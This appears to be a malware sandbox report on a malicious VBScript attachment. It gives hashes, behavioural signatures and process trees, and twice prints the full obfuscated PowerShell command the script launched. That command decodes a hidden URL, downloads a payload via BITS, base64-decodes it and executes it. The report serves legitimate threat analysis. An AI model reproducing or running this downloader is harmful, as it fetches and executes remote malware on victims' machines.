Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2023, 08:54

General

  • Target

    Attachment.vbs

  • Size

    33KB

  • MD5

    2bc4aca6380a7b1833dd3c892a21b225

  • SHA1

    16f788f930196018f98738c32cadfd2aac8eee2b

  • SHA256

    e20c1f3e05a778a3ef777cacd388c0fc2a9d22129dc7993c413871693536730c

  • SHA512

    dc7bb838d627ea7dc27d01fcddff2a38d625d0e781c550d603e05d37791a499b11c6ed1a4ae6382aed2968934e4c3167e7c731107a70a14ebef705b68dfb0248

  • SSDEEP

    768:RPJkLxR+FwpIlY2YalfZeoAg3Lh7uDFsV+oCh:wRsw+5J+FA+t

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Attachment.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function naturfa9 ([String]$Skelnemr){$Filmafte = $Skelnemr.Length;For($Fyrigerab=4; $Fyrigerab -lt $Filmafte-1; $Fyrigerab+=(4+1)){$Monopo=$Monopo+$Skelnemr.Substring( $Fyrigerab, 1)};$Monopo;}$Antifebr=naturfa9 'Alumhlokut FlatKontpFing:nons/Hand/VulsmAlliiPrelsSammsVokse mulnDiscdPreue EftnMixorTakaaConsiAbonlValuwAnstaJvnfy ReimJakkoTsardtuareContlkanelnonae IntrUnfasPipe.MadooUnrerSkbngInte.PaanuPreokProt/KandtadreeSpecsTriftPleu/UltrGBjveeTokamZoopm HaboserilInstoPert.CalllIngez HomhCyto ';$Forbin=$Antifebr.split([char]62);$Antifebr=$Forbin[0];$Monopo01=naturfa9 ' ThaiStike MeaxBroc ';$Tacklingsl = naturfa9 'Alum\Comps BauyConssBranwGaraoMarxw Neu6Euka4Drap\ChacWDataiPromnUbefd EsooTampwBomhsSangPOuthodougwLamee NonrAbriSTernhSpote DejlFodflProc\ IndvUnch1Mode.Nord0 Reg\BjerpInteoRancwDekaeOblirSkidsBkkeh grnePtyalMisclNile.AgiteGenexTalle Sdv ';.($Monopo01) (naturfa9 ' Fdr$ DisCCoproSkatmTelebHospaPosttKlart maleSpumdDebaeCape2Inha=Arti$Undee Tezn SisvRote:ElutwUncoi TernIncodforsiDuegrBarm ') ;.($Monopo01) (naturfa9 ' Duf$UdmeTKatiaGnubcPholkhyldlTrykiBefanStikgGravsUdlal Vil= Sto$CardC SopoBloomAutubAldraStiptbesytDuckeFyredPolyeProg2Syke+Skvi$KogeTheksasolicOsirk PoclFriti ChlnCilig Brds PoslChem ') ;.($Monopo01) (naturfa9 'Over$PirrSNeurnRureo BarrSaldtRest Orth=Tram Aga(Deco(SamignicawMismmBigliHemi TrkwAfskiAntinSkin3 Thi2 Bre_ BilpSursrSpinoBraicTunneEminsRetosSple Hirs-ByscFammo SmoPPianrBoploShamcPengePosisArtisMaleIBilldPoly=Mede$ Tab{UnsaPStyrIDiskDBile}Apos)Crit.EndeCRteboBigbmspotmkollaTripnMicrdmultLFisciWlitnFremeLife)Mazu Nume-BlgesStorp Totl EmbiPentt dec Fory[MetrcSymphRegnaOpalrGran] Tir3Befu4Skvi ');.($Monopo01) (naturfa9 'Macc$JgerTCrimiSkablUnflhlogay Mell KarlUldgePant Pikn=tils Corb$ SkrSPoacnReproEducrdrupt Dyb[Twif$SpilSCheinfagao BenrGuartOper.ForscSemioMangu AntnIdentVide-Bygg2Hajj]ster ');.($Monopo01) (naturfa9 ' Cam$KensRIdereRodoj TaleDetehDermoHelapMagnpSpeceJann= Val(MediTStageUgleslaastOver-SektP HesaDisptAfghhFutt Uta$SandTModea ForcDivikTraplPatei SornPelfgHjtisSkinlKeno)Efte Doku- ChiA DifnTextdlanc sua(Uper[ EmuI EsknStrut EnoPBardtUnrorGors]Soma:Star:BalasSkriiTranzHandeRoma Skad-LokaeLingqrull Cten8Sels)Vink ') ;if ($Rejehoppe) {.$Tacklingsl $Tilhylle;} else {;$Monopo00=naturfa9 'BittSSkintPlanaBiksr MistMrte-omklB grai PertIndssBurkTsgnerImpea HaanSpirsmodvfSnkeeZygirUnsi Ful-PoleSTrmlo Capu Reor BlgcSubgePlay Nard$ForrAEmbenOutstOphiiTillfSydaeMentbrecorCafe Sili-EquiD IlleKlvesDekotkvajiMiljnLuciaPupptAntaiPakkoCircn Fus Intr$GambCSkoboUvenmDragbGeocaDishtReawtApprePansdskeleRetn2Firl ';.($Monopo01) (naturfa9 'Unge$InhaCNonmodelimUhelbKoveaHelhtGreetUdtaeUnmyd BjeeSlut2Clou=graa$ NapeDephnSkrevVeks:Kania KakpjeffpMoisdEnwha Ekatextoadisk ') ;.($Monopo01) (naturfa9 'JimbI FasmmetopRideoBarbrToletGlov-HazaM PanobrendChaduKontlExtreEpim RrlgBSikkiCardt infsGlabTGeorr AmpaOrganAndesUsrifOstie sprrGnas ') ;$Combattede2=$Combattede2+'\Lgnersla.Jea';.($Monopo01) (naturfa9 ' Gra$CaveT BerrTrkboKonolDentlDisseExtey IncvCouno ReggSemi= Bev(BackTGutteDialsConetNonl-FarvPNavnaMarktTetrhViet Ejer$SlagCEntooGravmAbonbNorraKnaltEyertLselePiazdThroeskab2Stem)Merl ') ;while (-not $Trolleyvog) {.($Monopo01) (naturfa9 'Ripp$ UdrTFastrcitroIllalAfkllLavteCarbyEpifvCocioFerigMoor= Mag(skvaTBedeeUbets FlatRumm-HallPRepea ImmtGdnihEvin Fell$EnkeCTrauo KtemSkabbMonaaSubztSpiltcamaeElegdEucaePhil2Stil)Cirk ') ;.($Monopo01) $Monopo00;.($Monopo01) (naturfa9 ' GraSposttFertaNonkrKugltEksp- CouSContlAnsleOverePrivp Jum Waef5Kome ');$Antifebr=$Forbin[$Ledelshed++%$Forbin.count];}.($Monopo01) (naturfa9 'Eluv$FaminUprea KenthunduSpekrTaljfDevaaOchn Hun=Dess SkamGShare InctIndr-ImprC Lalo thun MaltPaleegettnKodrtSped App$AfvrCHutcoGasfmIchnbMensaHenntPsyktEnkee Attd UdreLeuk2Prel ');.($Monopo01) (naturfa9 'Bedo$OmfoO Tovv Vule Fisr CogwNonchStal Glos= Twi Tref[ DisS DryyProms SnetverdeEglamOrth.SalmCInteoFuchnHonnvHeteeDelerDuentunbe] Ypo:Best:GymnFCongrKompoSammmCookBPoliapenisOpfieClas6 int4BivuSLuxetrecerTykniFrmangunngBobo(Lyco$WeednKompaPufft Patu PisrIntefHomoaLiva) Pro ');.($Monopo01) (naturfa9 'Guld$ sitMfalloFetinNonooEkstpParooIron2Poco Raff=Innu Deca[InvaSMuniyTllesOvertLitueAfspmMobi.PyroTBrofeStikxEleftNeut. TerEbaalnEquic annoFremdRekuiHumpnRelugDrik]Dimm:Fibr:NumbAPatiSKvstC UniIDrgtIDota.PlumGAfsoeGimptUndeSPukltLandr WobigenenGermgGesp(Bryd$ UruOAfsvvMedieChaurDydswCivihDrau)bron ');.($Monopo01) (naturfa9 'Lave$HemaSAgeri FlanBogskBaseeArchr SkilInte=Sats$FlueMKameoAdganInfaoFilspRundofrst2misq.BestsUndeuharvb Vels PretdyskrRicaiBochnTermgOver( van2Ndri5Dete0 Ind1Mmet0Prog8Dyst,Stra2Epic3Frim4Unsa0Reve7Ambr) Fru ');.($Monopo01) $Sinkerl;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1016
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function naturfa9 ([String]$Skelnemr){$Filmafte = $Skelnemr.Length;For($Fyrigerab=4; $Fyrigerab -lt $Filmafte-1; $Fyrigerab+=(4+1)){$Monopo=$Monopo+$Skelnemr.Substring( $Fyrigerab, 1)};$Monopo;}$Antifebr=naturfa9 'Alumhlokut FlatKontpFing:nons/Hand/VulsmAlliiPrelsSammsVokse mulnDiscdPreue EftnMixorTakaaConsiAbonlValuwAnstaJvnfy ReimJakkoTsardtuareContlkanelnonae IntrUnfasPipe.MadooUnrerSkbngInte.PaanuPreokProt/KandtadreeSpecsTriftPleu/UltrGBjveeTokamZoopm HaboserilInstoPert.CalllIngez HomhCyto ';$Forbin=$Antifebr.split([char]62);$Antifebr=$Forbin[0];$Monopo01=naturfa9 ' ThaiStike MeaxBroc ';$Tacklingsl = naturfa9 'Alum\Comps BauyConssBranwGaraoMarxw Neu6Euka4Drap\ChacWDataiPromnUbefd EsooTampwBomhsSangPOuthodougwLamee NonrAbriSTernhSpote DejlFodflProc\ IndvUnch1Mode.Nord0 Reg\BjerpInteoRancwDekaeOblirSkidsBkkeh grnePtyalMisclNile.AgiteGenexTalle Sdv ';.($Monopo01) (naturfa9 ' Fdr$ DisCCoproSkatmTelebHospaPosttKlart maleSpumdDebaeCape2Inha=Arti$Undee Tezn SisvRote:ElutwUncoi TernIncodforsiDuegrBarm ') ;.($Monopo01) (naturfa9 ' Duf$UdmeTKatiaGnubcPholkhyldlTrykiBefanStikgGravsUdlal Vil= Sto$CardC SopoBloomAutubAldraStiptbesytDuckeFyredPolyeProg2Syke+Skvi$KogeTheksasolicOsirk PoclFriti ChlnCilig Brds PoslChem ') ;.($Monopo01) (naturfa9 'Over$PirrSNeurnRureo BarrSaldtRest Orth=Tram Aga(Deco(SamignicawMismmBigliHemi TrkwAfskiAntinSkin3 Thi2 Bre_ BilpSursrSpinoBraicTunneEminsRetosSple Hirs-ByscFammo SmoPPianrBoploShamcPengePosisArtisMaleIBilldPoly=Mede$ Tab{UnsaPStyrIDiskDBile}Apos)Crit.EndeCRteboBigbmspotmkollaTripnMicrdmultLFisciWlitnFremeLife)Mazu Nume-BlgesStorp Totl EmbiPentt dec Fory[MetrcSymphRegnaOpalrGran] Tir3Befu4Skvi ');.($Monopo01) (naturfa9 'Macc$JgerTCrimiSkablUnflhlogay Mell KarlUldgePant Pikn=tils Corb$ SkrSPoacnReproEducrdrupt Dyb[Twif$SpilSCheinfagao BenrGuartOper.ForscSemioMangu AntnIdentVide-Bygg2Hajj]ster ');.($Monopo01) (naturfa9 ' Cam$KensRIdereRodoj TaleDetehDermoHelapMagnpSpeceJann= Val(MediTStageUgleslaastOver-SektP HesaDisptAfghhFutt Uta$SandTModea ForcDivikTraplPatei SornPelfgHjtisSkinlKeno)Efte Doku- ChiA DifnTextdlanc sua(Uper[ EmuI EsknStrut EnoPBardtUnrorGors]Soma:Star:BalasSkriiTranzHandeRoma Skad-LokaeLingqrull Cten8Sels)Vink ') ;if ($Rejehoppe) {.$Tacklingsl $Tilhylle;} else {;$Monopo00=naturfa9 'BittSSkintPlanaBiksr MistMrte-omklB grai PertIndssBurkTsgnerImpea HaanSpirsmodvfSnkeeZygirUnsi Ful-PoleSTrmlo Capu Reor BlgcSubgePlay Nard$ForrAEmbenOutstOphiiTillfSydaeMentbrecorCafe Sili-EquiD IlleKlvesDekotkvajiMiljnLuciaPupptAntaiPakkoCircn Fus Intr$GambCSkoboUvenmDragbGeocaDishtReawtApprePansdskeleRetn2Firl ';.($Monopo01) (naturfa9 'Unge$InhaCNonmodelimUhelbKoveaHelhtGreetUdtaeUnmyd BjeeSlut2Clou=graa$ NapeDephnSkrevVeks:Kania KakpjeffpMoisdEnwha Ekatextoadisk ') ;.($Monopo01) (naturfa9 'JimbI FasmmetopRideoBarbrToletGlov-HazaM PanobrendChaduKontlExtreEpim RrlgBSikkiCardt infsGlabTGeorr AmpaOrganAndesUsrifOstie sprrGnas ') ;$Combattede2=$Combattede2+'\Lgnersla.Jea';.($Monopo01) (naturfa9 ' Gra$CaveT BerrTrkboKonolDentlDisseExtey IncvCouno ReggSemi= Bev(BackTGutteDialsConetNonl-FarvPNavnaMarktTetrhViet Ejer$SlagCEntooGravmAbonbNorraKnaltEyertLselePiazdThroeskab2Stem)Merl ') ;while (-not $Trolleyvog) {.($Monopo01) (naturfa9 'Ripp$ UdrTFastrcitroIllalAfkllLavteCarbyEpifvCocioFerigMoor= Mag(skvaTBedeeUbets FlatRumm-HallPRepea ImmtGdnihEvin Fell$EnkeCTrauo KtemSkabbMonaaSubztSpiltcamaeElegdEucaePhil2Stil)Cirk ') ;.($Monopo01) $Monopo00;.($Monopo01) (naturfa9 ' GraSposttFertaNonkrKugltEksp- CouSContlAnsleOverePrivp Jum Waef5Kome ');$Antifebr=$Forbin[$Ledelshed++%$Forbin.count];}.($Monopo01) (naturfa9 'Eluv$FaminUprea KenthunduSpekrTaljfDevaaOchn Hun=Dess SkamGShare InctIndr-ImprC Lalo thun MaltPaleegettnKodrtSped App$AfvrCHutcoGasfmIchnbMensaHenntPsyktEnkee Attd UdreLeuk2Prel ');.($Monopo01) (naturfa9 'Bedo$OmfoO Tovv Vule Fisr CogwNonchStal Glos= Twi Tref[ DisS DryyProms SnetverdeEglamOrth.SalmCInteoFuchnHonnvHeteeDelerDuentunbe] Ypo:Best:GymnFCongrKompoSammmCookBPoliapenisOpfieClas6 int4BivuSLuxetrecerTykniFrmangunngBobo(Lyco$WeednKompaPufft Patu PisrIntefHomoaLiva) Pro ');.($Monopo01) (naturfa9 'Guld$ sitMfalloFetinNonooEkstpParooIron2Poco Raff=Innu Deca[InvaSMuniyTllesOvertLitueAfspmMobi.PyroTBrofeStikxEleftNeut. TerEbaalnEquic annoFremdRekuiHumpnRelugDrik]Dimm:Fibr:NumbAPatiSKvstC UniIDrgtIDota.PlumGAfsoeGimptUndeSPukltLandr WobigenenGermgGesp(Bryd$ UruOAfsvvMedieChaurDydswCivihDrau)bron ');.($Monopo01) (naturfa9 'Lave$HemaSAgeri FlanBogskBaseeArchr SkilInte=Sats$FlueMKameoAdganInfaoFilspRundofrst2misq.BestsUndeuharvb Vels PretdyskrRicaiBochnTermgOver( van2Ndri5Dete0 Ind1Mmet0Prog8Dyst,Stra2Epic3Frim4Unsa0Reve7Ambr) Fru ');.($Monopo01) $Sinkerl;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_40g1uwg2.xdh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1016-5-0x0000023475750000-0x0000023475772000-memory.dmp

    Filesize

    136KB

  • memory/1016-10-0x00007FFDC6C70000-0x00007FFDC7731000-memory.dmp

    Filesize

    10.8MB

  • memory/1016-11-0x00000234736D0000-0x00000234736E0000-memory.dmp

    Filesize

    64KB

  • memory/1016-12-0x00000234736D0000-0x00000234736E0000-memory.dmp

    Filesize

    64KB

  • memory/1016-33-0x00000234736D0000-0x00000234736E0000-memory.dmp

    Filesize

    64KB

  • memory/1016-32-0x00007FFDC6C70000-0x00007FFDC7731000-memory.dmp

    Filesize

    10.8MB

  • memory/1428-31-0x0000000006030000-0x000000000607C000-memory.dmp

    Filesize

    304KB

  • memory/1428-35-0x0000000006570000-0x000000000658A000-memory.dmp

    Filesize

    104KB

  • memory/1428-17-0x0000000005110000-0x0000000005132000-memory.dmp

    Filesize

    136KB

  • memory/1428-18-0x00000000051B0000-0x0000000005216000-memory.dmp

    Filesize

    408KB

  • memory/1428-19-0x0000000005220000-0x0000000005286000-memory.dmp

    Filesize

    408KB

  • memory/1428-25-0x0000000005980000-0x0000000005CD4000-memory.dmp

    Filesize

    3.3MB

  • memory/1428-30-0x0000000006000000-0x000000000601E000-memory.dmp

    Filesize

    120KB

  • memory/1428-15-0x00000000026E0000-0x0000000002716000-memory.dmp

    Filesize

    216KB

  • memory/1428-14-0x0000000004C90000-0x0000000004CA0000-memory.dmp

    Filesize

    64KB

  • memory/1428-13-0x0000000074710000-0x0000000074EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/1428-34-0x00000000077A0000-0x0000000007E1A000-memory.dmp

    Filesize

    6.5MB

  • memory/1428-16-0x00000000052D0000-0x00000000058F8000-memory.dmp

    Filesize

    6.2MB

  • memory/1428-36-0x0000000007070000-0x0000000007106000-memory.dmp

    Filesize

    600KB

  • memory/1428-37-0x0000000007000000-0x0000000007022000-memory.dmp

    Filesize

    136KB

  • memory/1428-38-0x00000000083D0000-0x0000000008974000-memory.dmp

    Filesize

    5.6MB

  • memory/1428-39-0x00000000075C0000-0x00000000075E2000-memory.dmp

    Filesize

    136KB

  • memory/1428-40-0x0000000074710000-0x0000000074EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/1428-41-0x0000000007640000-0x0000000007654000-memory.dmp

    Filesize

    80KB

  • memory/1428-42-0x0000000004C90000-0x0000000004CA0000-memory.dmp

    Filesize

    64KB

  • memory/1428-43-0x0000000004C90000-0x0000000004CA0000-memory.dmp

    Filesize

    64KB

  • memory/1428-44-0x0000000004C90000-0x0000000004CA0000-memory.dmp

    Filesize

    64KB